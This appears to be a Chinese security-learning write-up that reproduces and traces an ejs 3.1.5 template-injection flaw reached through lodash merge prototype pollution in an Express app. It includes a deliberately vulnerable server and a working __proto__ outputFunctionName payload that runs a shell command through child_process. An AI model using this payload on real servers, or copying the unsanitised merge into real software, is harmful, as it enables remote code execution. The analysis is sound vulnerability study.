记录自己的理解,有什么不对的欢迎各位师傅指正。
一、环境搭建
npm install ejs@3.1.5
npm install lodash@4.17.4
npm install express
注意这里的ejs版本需要低一些,因为高版本修复了该漏洞。加了一些正则匹配,如果出现outputFunctionName is not a valid JS identifier错误的话,证明你的版本比较高。
index.js
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置
app.set('views', __dirname);
//对原型进行污染
// var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
//进行渲染
app.get('/', function (req, res) {
var malicious_payload = req.query.malicious_payload;
_.merge({}, JSON.parse(malicious_payload));
res.render ("./test.ejs",{
message: 'lufei test '
});
});
//设置http
var server = app.listen(8888, function () {
var port = server.address().port
console.log("应用实例,访问地址为 http://127.0.0.1:%s", port)
});
test.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
二、漏洞复现
malicious_payload = {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
三、漏洞分析
3.1、流程分析
var malicious_payload = req.query.malicious_payload;
_.merge({}, JSON.parse(malicious_payload));
这里的代码获取我们传入的get参数。然后解析成json格式,接着调用merge函数,这样的话就会产生原型链污染。就理解成我们可以控制一些参数。
例如我们的payload,把Object对象的outputFunctionName的值设置为我们精心构造的值。
接下来我们思考如何如果用到这个值,以及在哪执行的代码。如何去构造这个payload。先从入口函数开始看。
res.render ("./test.ejs",{
message: 'lufei test '
});
这边是调用response对象的render方法去渲染页面,第一个参数为模板文件路径。第二个是一个对象,里面就一个属性,message的属性值为lufei test,字符串类型。
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
其中我们看到app.render(view, opts, done);这行代码,前面一些代码都不重要,这里调用了app对象里面的render方法,这边会进入到View这个文件的构造方法里。这里比较重要。
function View(name, options) {
var opts = options || {};
this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;
if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}
var fileName = name;
if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;
fileName += this.ext;
}
if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)
// default engine export
var fn = require(mod).__express
if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}
opts.engines[this.ext] = fn
}
可以看到,我们传入的name是./test.ejs,通过extname可以获取到.ejs,然后偶他会判断后缀名是否不存在,或者不存在默认的引擎。然后再判断一次是否不存在后缀。我们这边都不满足,所以都跳过了。
接着判断是否不在这个opts.engines里面,相当于引擎容器,这时是空的,所以一定会进去。里面的代码好好看看,先把第一个.字符截取掉,然后去require这个ejs模块,将__express赋值给fn。我们看看__express是什么。
__express就是exports.renderFile这个函数。然后将fn赋值给opts.engines[this.ext],然后赋值给this.engine。这边记住这个this.engine。继续从app.render分析。
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge app.locals
merge(renderOptions, this.locals);
// merge options._locals
if (opts._locals) {
merge(renderOptions, opts._locals);
}
// merge options
merge(renderOptions, opts);
// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}
// primed cache
if (renderOptions.cache) {
view = cache[name];
}
// view
if (!view) {
var View = this.get('view');
view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});
if (!view.path) {
var dirs = Array.isArray(view.root) && view.root.length > 1
? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
: 'directory "' + view.root + '"'
var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
err.view = view;
return done(err);
}
// prime the cache
if (renderOptions.cache) {
cache[name] = view;
}
}
// render
tryRender(view, renderOptions, done);
};
中间的一些代码也不是很重要,其中最后一行代码调用了tryRender方法,我们继续跟进。
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
代码来到try里面。调用view对象的render方法。
然后调用this.engine这个函数,这个函数其实就是ejs里面的rendFile函数。前面我们分析过为什么了。然后继续跟进。
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = {};
}
return tryHandleCache(opts, data, cb);
};
继续最后一行,执行tryHandleCache方法。跟进。
cb是存在的回调函数,所以不进入if,进入else。这里注意,调用了handleCache方法,肯定会返回一个函数的。因为在后面加了(data)。会去调用这个函数。
继续跟进handleCache函数。
然后来到exports.compile函数,里面传了两个参数第一个是模板。通过前面文件读取test.ejs里面的内容获取的值。第二个是一个对象。继续跟进。
可以看到最后调用了templ.compile。编译模板文件。继续跟进。
注意看。this.source此时为空,进入if。然后看到代码
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
如果opts里面存在outputFunctionName属性的话。就进行字符串拼接。然后赋值给prepended属性。
接着将prependedp拼接传入给了this.source。
然后赋值给了src属性。这里的ctor就是Function。也就是这里创建了一个函数,第一个参数就是函数需要传入的变量,第二个参数就是函数执行的内容。那么第二个参数我们如果能控制的话,并且调用了这个函数,就可以任意代码执行。
下面刚好调用了apply方法,执行了这个函数。这里也是代码执行的点。
但是他并不会直接执行这里的代码,前面有一个三元运算符,opts.client为true的话,就将fn赋值给returnedFn,这里他是false。所以将anonymous这个函数赋值给returnedFn。然后ruturn返回。一直返回到我们之前说的那个调用这个函数的地方。最后才会进入这个函数里面去调用。最终执行代码。
3.2、payload构造
我们先梳理一下漏洞的产生。
需要有一个原型链污染,这样我们可以控制一些没有赋值的变量
在ejs渲染的时候会去拼接outputFunctionName这个变量。赋值给src
然后运行src代码
那么我们构造payload就需要知道拼接是怎么拼接的。代码如下。
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
其中prepended为
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
然后加上var ,接着加上我们的payload。然后加上= __append;
。整理一下 如下代码。
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var [payload拼接所在的 地方] = __append;
那么我们将payload设置为
_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
最终的代码会变成
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;
最终成为一个可以运行的代码。